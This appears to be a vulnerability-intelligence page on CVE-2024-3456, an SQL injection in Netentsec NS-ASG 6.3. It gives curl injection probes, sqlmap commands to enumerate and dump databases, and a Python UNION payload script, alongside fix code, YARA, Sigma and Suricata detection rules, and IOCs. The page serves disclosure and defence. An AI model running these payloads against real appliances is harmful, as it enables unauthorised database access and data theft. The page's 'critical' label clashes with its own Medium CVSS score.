CVE-2024-3456
Executive Summary
CVE-2024-3456 is a critical SQL injection vulnerability discovered in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /admin/config_Anticrack.php file, where the GroupId parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or further compromise of the gateway appliance. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Netentsec NS-ASG). Therefore, supply chain security considerations are limited to the integrity of the appliance firmware and any third-party components embedded within it.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – Exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited data modification possible.
- Availability (A): Low (L) – Limited service disruption possible.
Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation currently, but the public availability of the exploit increases the risk. The lack of a patch makes this a persistent threat for unmitigated systems.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the /admin/config_Anticrack.php endpoint. The GroupId parameter is passed directly into a SQL query without proper sanitization or parameterization. An attacker can inject SQL syntax by manipulating this parameter.
Technical Analysis:
- Entry Point: The HTTP GET or POST request to
/admin/config_Anticrack.phpwith a craftedGroupIdparameter. - Injection Point: The
GroupIdvalue is concatenated into a SQL query, likely something like:SELECT * FROM config WHERE group_id = '$_GET['GroupId']'. - Exploitation: By providing a value like
1' OR '1'='1, the attacker can break out of the string context and execute arbitrary SQL. - Impact: Depending on the database permissions, the attacker can:
- Extract sensitive data (e.g., admin credentials, user data, configuration secrets).
- Modify or delete data.
- Potentially execute operating system commands if the database has extended privileges (e.g.,
xp_cmdshellin MSSQL orINTO OUTFILEin MySQL).
Root Cause: Lack of input validation and failure to use prepared statements or parameterized queries.
Vulnerable vs. Patched Code
Since no official patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual PHP):
<?php
$groupId = $_GET['GroupId'];
$query = "SELECT * FROM config WHERE group_id = '$groupId'";
$result = mysqli_query($conn, $query);
// ... process result
?>
Patched Code (Expected Fix):
<?php
$groupId = $_GET['GroupId'];
$stmt = $conn->prepare("SELECT * FROM config WHERE group_id = ?");
$stmt->bind_param("s", $groupId);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>
The fix involves using prepared statements with parameterized queries, which ensures user input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Netentsec NS-ASG 6.3 instance (e.g., in a lab environment).
- A tool like
curl,sqlmap, or a web browser with developer tools.
Exploitation Steps:
Basic SQL Injection Test:
curl "http://<target_ip>/admin/config_Anticrack.php?GroupId=1'"If the application returns a database error (e.g.,
You have an error in your SQL syntax), the parameter is injectable.Boolean-Based Blind Injection:
curl "http://<target_ip>/admin/config_Anticrack.php?GroupId=1' AND '1'='1" curl "http://<target_ip>/admin/config_Anticrack.php?GroupId=1' AND '1'='2"Compare responses to infer true/false conditions.
Automated Exploitation with sqlmap:
sqlmap -u "http://<target_ip>/admin/config_Anticrack.php?GroupId=1" --batch --dbsThis will enumerate databases, tables, and columns.
Data Exfiltration Example:
sqlmap -u "http://<target_ip>/admin/config_Anticrack.php?GroupId=1" --batch -D <database> -T <table> --dump
Exploit Code (Conceptual Python):
import requests
target = "http://<target_ip>/admin/config_Anticrack.php"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {'GroupId': payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defensive)
Detection & Response:
- Monitor Web Logs: Look for requests to
/admin/config_Anticrack.phpwith unusualGroupIdparameters containing SQL keywords (',OR,AND,UNION,SELECT,--). - WAF Rules: Deploy or update Web Application Firewall (WAF) rules to block SQL injection patterns in the
GroupIdparameter. - Network Segmentation: Ensure the NS-ASG appliance is isolated from critical internal networks to limit lateral movement.
- Honeypot: Deploy a decoy NS-ASG instance to detect scanning and exploitation attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/config_Anticrack.phpwithGroupIdparameter containing SQL metacharacters (e.g.,',",;,--). - Unusual database error messages in HTTP responses (e.g.,
MySQL syntax error,ORA-00933). - Outbound database connections from the NS-ASG appliance to unexpected IPs (data exfiltration).
File IOCs:
- Modified or new files in the web root (e.g.,
/var/www/html/) indicating webshell upload. - Suspicious entries in the appliance's audit logs.
System IOCs:
- Unexpected processes running on the appliance (e.g.,
nc,bashreverse shells). - Unusual network connections from the appliance (e.g., to known C2 servers).
Detection Engineering
YARA Rule
rule CVE_2024_3456_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-3456 in Netentsec NS-ASG"
author = "Valters IT"
date = "2024-10-27"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3456"
strings:
$s1 = "/admin/config_Anticrack.php" nocase
$s2 = "GroupId=" nocase
$sqli1 = /GroupId=.*['\"]/ nocase
$sqli2 = /GroupId=.*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE)/i
condition:
$s1 and $s2 and ($sqli1 or $sqli2)
}
Sigma Rule
title: SQL Injection Attempt Against Netentsec NS-ASG (CVE-2024-3456)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the /admin/config_Anticrack.php endpoint.
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "/admin/config_Anticrack.php"
cs-uri-query|contains: "GroupId="
keywords:
- "'"
- "\""
- "OR"
- "AND"
- "UNION"
- "SELECT"
- "DROP"
- "INSERT"
- "UPDATE"
- "DELETE"
- "--"
- "#"
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in GroupId (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2024-3456 SQL Injection Attempt - Netentsec NS-ASG";
flow:to_server,established;
content:"/admin/config_Anticrack.php"; http_uri;
content:"GroupId="; http_uri;
pcre:"/GroupId=[^&]*['\"]/i";
pcre:"/GroupId=[^&]*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the Appliance: If possible, disconnect the NS-ASG from the network or place it behind a strict firewall that only allows necessary traffic.
- Apply Virtual Patching: Use a WAF to create a custom rule that blocks requests to
/admin/config_Anticrack.phpwith suspiciousGroupIdparameters. - Monitor Logs: Actively monitor web server and database logs for exploitation attempts.
Long-Term Remediation:
- Vendor Patch: Contact Netentsec for an official patch. If unavailable, consider replacing the appliance with a supported alternative.
- Code Fix: If source code is accessible, implement prepared statements for all database queries.
- Upgrade: Upgrade to a newer, patched version of the NS-ASG firmware if available.
- Security Hardening: Disable unnecessary services, change default credentials, and implement network segmentation.
Workaround:
- If the
/admin/config_Anticrack.phpfunctionality is not critical, remove or rename the file to prevent access.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.